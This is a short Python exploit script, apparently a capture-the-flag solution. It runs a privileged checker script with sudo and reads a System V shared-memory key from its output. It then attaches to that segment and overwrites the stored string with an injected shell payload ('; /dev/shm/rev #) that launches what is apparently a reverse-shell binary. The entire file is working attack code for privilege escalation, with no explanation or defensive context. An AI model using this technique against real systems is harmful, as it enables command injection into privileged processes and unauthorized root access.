import subprocess
import re
import ctypes
import socket

libc = ctypes.CDLL('libc.so.6')
# seed = libc.time(0)
# libc.srand(seed)
# val = libc.rand()
# computed_key = val % 0xfffff

hostname = socket.gethostname()
if hostname == 'checker':
    p = subprocess.Popen(['sudo', '/opt/hash-checker/check-leak.sh', 'bob'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
else:
    p = subprocess.Popen(['./check_leak', 'bob'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# read second line
for _ in range(2):
    l = p.stdout.readline()
l = l.decode()
key = re.findall(r'0x[0-9a-fA-F]+', l)[0]
key = int(key, 16)
# assert computed_key == key, 'key mismatch'

print('key:', hex(key))
shmid = libc.shmget(key, 0, 0o666)
print('shmid:', shmid)
libc.shmat.restype = ctypes.c_void_p
addr = libc.shmat(shmid, 0, 0)
print('addr:', hex(addr))
original_str = ctypes.string_at(addr)
print('original string in memory:', original_str)
new_str = original_str.strip() + b"\"'; /dev/shm/rev #\n"
new_len = len(new_str)
print('new string with payload:', new_str)
print('copying string to memory')
# Specify argument types and return type for memcpy
libc.memcpy.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t]
libc.memcpy.restype = ctypes.c_void_p
libc.memcpy(addr, new_str, new_len)
print('now memory is:', ctypes.string_at(addr))

for line in iter(p.stdout.readline, b''):
    print(line.decode(), end='')
